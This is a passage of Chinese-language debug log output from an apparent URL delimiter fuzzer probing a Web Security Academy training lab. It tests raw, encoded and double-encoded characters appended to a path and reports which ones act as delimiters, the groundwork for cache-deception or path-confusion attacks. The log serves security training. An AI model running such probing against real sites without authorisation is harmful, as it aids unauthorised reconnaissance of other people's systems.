href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post</a> 找到分隔符 (来自字典): ‘#’<br>2025/10/23 20:45:50 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%23’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%23aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%23aa</a><br>2025/10/23 20:45:50 [DEBUG] 正在测试分隔符 (来自字典): ‘$’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post$aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post$aa</a><br>2025/10/23 20:45:50 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%24’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%24aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%24aa</a><br>2025/10/23 20:45:51 [DEBUG] 正在测试分隔符 (来自字典): ‘%’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%aa</a><br>2025/10/23 20:45:51 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%25’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%25aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%25aa</a><br>2025/10/23 20:45:51 [DEBUG] 正在测试分隔符 (来自字典): ‘&amp;’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post&amp;aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post&amp;aa</a><br>2025/10/23 20:45:51 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%26’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%26aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%26aa</a><br>2025/10/23 20:45:51 [DEBUG] 正在测试分隔符 (来自字典): ‘’’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post&#39;aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post&#39;aa</a><br>2025/10/23 20:45:52 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%27’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%27aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%27aa</a><br>2025/10/23 20:45:52 [DEBUG] 正在测试分隔符 (来自字典): ‘(‘, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post(aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post(aa</a><br>2025/10/23 20:45:52 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%28’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%28aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%28aa</a><br>2025/10/23 20:45:52 [DEBUG] 正在测试分隔符 (来自字典): ‘)’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post)aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post)aa</a><br>2025/10/23 20:45:52 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%29’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%29aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%29aa</a><br>2025/10/23 20:45:52 [DEBUG] 正在测试分隔符 (来自字典): ‘<em>‘, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post</a></em>aa<br>2025/10/23 20:45:53 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2A’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2Aaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2Aaa</a><br>2025/10/23 20:45:53 [DEBUG] 正在测试分隔符 (来自字典): ‘+’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post+aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post+aa</a><br>2025/10/23 20:45:53 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2Baa</a><br>2025/10/23 20:45:53 [DEBUG] 正在测试分隔符 (来自字典): ‘,’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post,aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post,aa</a><br>2025/10/23 20:45:53 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2Caa</a><br>2025/10/23 20:45:53 [DEBUG] 正在测试分隔符 (来自字典): ‘-‘, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post-aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post-aa</a><br>2025/10/23 20:45:54 [DEBUG] 正在测试分隔符 (来自字典): ‘.’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post.aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post.aa</a><br>2025/10/23 20:45:54 [DEBUG] 正在测试分隔符 (来自字典): ‘/‘, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post/aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post/aa</a><br>2025/10/23 20:45:54 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2F’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2Faa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2Faa</a><br>2025/10/23 20:45:54 [DEBUG] 正在测试分隔符 (来自字典): ‘:’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post:aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post:aa</a><br>2025/10/23 20:45:54 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%3A’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%3Aaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%3Aaa</a><br>2025/10/23 20:45:55 [DEBUG] 正在测试分隔符 (来自字典): ‘;’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post;aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post;aa</a><br>2025/10/23 20:45:55 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%3B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%3Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%3Baa</a><br>2025/10/23 20:45:55 [DEBUG] 正在测试分隔符 (来自字典): ‘&lt;’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post</a><aa2025/10/23 20:45:55 [DEBUG] 正在测试分隔符 (字典条目编码后): '%3C', URL: https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%3Caa2025/10/23 20:45:55 [DEBUG] 正在测试分隔符 (来自字典): '=', URL: https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post=aa2025/10/23 20:45:55 [DEBUG] 正在测试分隔符 (字典条目编码后): '%3D', URL: https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%3Daa2025/10/23 20:45:56 [DEBUG] 正在测试分隔符 (来自字典): '>', URL: https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post>aa<br>2025/10/23 20:45:56 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%3E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%3Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%3Eaa</a><br>2025/10/23 20:45:56 [DEBUG] 正在测试分隔符 (来自字典): ‘?’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post?aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post?aa</a><br>2025/10/23 20:45:56 [DEBUG] 为URL <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post</a> 找到分隔符 (来自字典): ‘?’<br>2025/10/23 20:45:56 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%3F’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%3Faa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%3Faa</a><br>2025/10/23 20:45:56 [DEBUG] 正在测试分隔符 (来自字典): ‘@’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post@aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post@aa</a><br>2025/10/23 20:45:57 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%40’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%40aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%40aa</a><br>2025/10/23 20:45:57 [DEBUG] 正在测试分隔符 (来自字典): ‘[‘, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post[aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post[aa</a><br>2025/10/23 20:45:57 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%5B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%5Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%5Baa</a><br>2025/10/23 20:45:57 [DEBUG] 正在测试分隔符 (来自字典): ‘\’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post\aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post\aa</a><br>2025/10/23 20:45:57 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%5C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%5Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%5Caa</a><br>2025/10/23 20:45:57 [DEBUG] 正在测试分隔符 (来自字典): ‘]’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post]aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post]aa</a><br>2025/10/23 20:45:58 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%5D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%5Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%5Daa</a><br>2025/10/23 20:45:58 [DEBUG] 正在测试分隔符 (来自字典): ‘^’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post^aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post^aa</a><br>2025/10/23 20:45:58 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%5E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%5Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%5Eaa</a><br>2025/10/23 20:45:58 [DEBUG] 正在测试分隔符 (来自字典): ‘_’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post_aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post_aa</a><br>2025/10/23 20:45:58 [DEBUG] 正在测试分隔符 (来自字典): ‘<code>&#39;, URL: https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post</code>aa<br>2025/10/23 20:45:58 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%60’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%60aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%60aa</a><br>2025/10/23 20:45:59 [DEBUG] 正在测试分隔符 (来自字典): ‘{‘, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post{aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post{aa</a><br>2025/10/23 20:45:59 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%7B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%7Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%7Baa</a><br>2025/10/23 20:45:59 [DEBUG] 正在测试分隔符 (来自字典): ‘|’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post|aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post|aa</a><br>2025/10/23 20:45:59 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%7C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%7Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%7Caa</a><br>2025/10/23 20:45:59 [DEBUG] 正在测试分隔符 (来自字典): ‘}’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post}aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post}aa</a><br>2025/10/23 20:46:00 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%7D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%7Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%7Daa</a><br>2025/10/23 20:46:00 [DEBUG] 正在测试分隔符 (来自字典): ‘~’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post~aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post~aa</a><br>2025/10/23 20:46:00 [DEBUG] 正在测试分隔符 (来自字典): ‘%21’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%21aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%21aa</a><br>2025/10/23 20:46:00 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2521’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2521aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2521aa</a><br>2025/10/23 20:46:00 [DEBUG] 正在测试分隔符 (来自字典): ‘%22’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%22aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%22aa</a><br>2025/10/23 20:46:00 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2522’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2522aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2522aa</a><br>2025/10/23 20:46:01 [DEBUG] 正在测试分隔符 (来自字典): ‘%23’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%23aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%23aa</a><br>2025/10/23 20:46:01 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2523’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2523aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2523aa</a><br>2025/10/23 20:46:01 [DEBUG] 正在测试分隔符 (来自字典): ‘%24’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%24aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%24aa</a><br>2025/10/23 20:46:01 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2524’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2524aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2524aa</a><br>2025/10/23 20:46:01 [DEBUG] 正在测试分隔符 (来自字典): ‘%25’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%25aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%25aa</a><br>2025/10/23 20:46:02 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2525’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2525aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2525aa</a><br>2025/10/23 20:46:02 [DEBUG] 正在测试分隔符 (来自字典): ‘%26’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%26aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%26aa</a><br>2025/10/23 20:46:02 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2526’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2526aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2526aa</a><br>2025/10/23 20:46:02 [DEBUG] 正在测试分隔符 (来自字典): ‘%27’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%27aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%27aa</a><br>2025/10/23 20:46:02 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2527’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2527aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2527aa</a><br>2025/10/23 20:46:03 [DEBUG] 正在测试分隔符 (来自字典): ‘%28’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%28aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%28aa</a><br>2025/10/23 20:46:03 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2528’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2528aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2528aa</a><br>2025/10/23 20:46:03 [DEBUG] 正在测试分隔符 (来自字典): ‘%29’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%29aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%29aa</a><br>2025/10/23 20:46:03 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2529’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2529aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2529aa</a><br>2025/10/23 20:46:03 [DEBUG] 正在测试分隔符 (来自字典): ‘%2A’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2Aaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2Aaa</a><br>2025/10/23 20:46:04 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%252A’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%252Aaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%252Aaa</a><br>2025/10/23 20:46:04 [DEBUG] 正在测试分隔符 (来自字典): ‘%2B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2Baa</a><br>2025/10/23 20:46:04 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%252B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%252Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%252Baa</a><br>2025/10/23 20:46:04 [DEBUG] 正在测试分隔符 (来自字典): ‘%2C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2Caa</a><br>2025/10/23 20:46:04 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%252C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%252Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%252Caa</a><br>2025/10/23 20:46:04 [DEBUG] 正在测试分隔符 (来自字典): ‘%2D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2Daa</a><br>2025/10/23 20:46:05 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%252D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%252Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%252Daa</a><br>2025/10/23 20:46:05 [DEBUG] 正在测试分隔符 (来自字典): ‘%2E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2Eaa</a><br>2025/10/23 20:46:05 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%252E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%252Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%252Eaa</a><br>2025/10/23 20:46:05 [DEBUG] 正在测试分隔符 (来自字典): ‘%2F’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2Faa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2Faa</a><br>2025/10/23 20:46:05 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%252F’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%252Faa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%252Faa</a><br>2025/10/23 20:46:06 [DEBUG] 正在测试分隔符 (来自字典): ‘%3A’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%3Aaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%3Aaa</a><br>2025/10/23 20:46:06 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%253A’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%253Aaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%253Aaa</a><br>2025/10/23 20:46:06 [DEBUG] 正在测试分隔符 (来自字典): ‘%3B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%3Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%3Baa</a><br>2025/10/23 20:46:06 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%253B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%253Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%253Baa</a><br>2025/10/23 20:46:06 [DEBUG] 正在测试分隔符 (来自字典): ‘%3C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%3Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%3Caa</a><br>2025/10/23 20:46:06 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%253C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%253Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%253Caa</a><br>2025/10/23 20:46:07 [DEBUG] 正在测试分隔符 (来自字典): ‘%3D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%3Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%3Daa</a><br>2025/10/23 20:46:07 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%253D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%253Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%253Daa</a><br>2025/10/23 20:46:07 [DEBUG] 正在测试分隔符 (来自字典): ‘%3E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%3Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%3Eaa</a><br>2025/10/23 20:46:07 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%253E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%253Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%253Eaa</a><br>2025/10/23 20:46:07 [DEBUG] 正在测试分隔符 (来自字典): ‘%3F’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%3Faa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%3Faa</a><br>2025/10/23 20:46:07 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%253F’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%253Faa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%253Faa</a><br>2025/10/23 20:46:08 [DEBUG] 正在测试分隔符 (来自字典): ‘%40’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%40aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%40aa</a><br>2025/10/23 20:46:08 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2540’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2540aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2540aa</a><br>2025/10/23 20:46:08 [DEBUG] 正在测试分隔符 (来自字典): ‘%5B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%5Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%5Baa</a><br>2025/10/23 20:46:08 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%255B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%255Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%255Baa</a><br>2025/10/23 20:46:08 [DEBUG] 正在测试分隔符 (来自字典): ‘%5C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%5Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%5Caa</a><br>2025/10/23 20:46:09 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%255C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%255Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%255Caa</a><br>2025/10/23 20:46:09 [DEBUG] 正在测试分隔符 (来自字典): ‘%5D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%5Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%5Daa</a><br>2025/10/23 20:46:09 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%255D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%255Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%255Daa</a><br>2025/10/23 20:46:09 [DEBUG] 正在测试分隔符 (来自字典): ‘%5E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%5Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%5Eaa</a><br>2025/10/23 20:46:09 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%255E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%255Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%255Eaa</a><br>2025/10/23 20:46:09 [DEBUG] 正在测试分隔符 (来自字典): ‘%5F’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%5Faa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%5Faa</a><br>2025/10/23 20:46:10 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%255F’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%255Faa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%255Faa</a><br>2025/10/23 20:46:10 [DEBUG] 正在测试分隔符 (来自字典): ‘%60’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%60aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%60aa</a><br>2025/10/23 20:46:10 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2560’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2560aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%2560aa</a><br>2025/10/23 20:46:10 [DEBUG] 正在测试分隔符 (来自字典): ‘%7B’, URL: <a 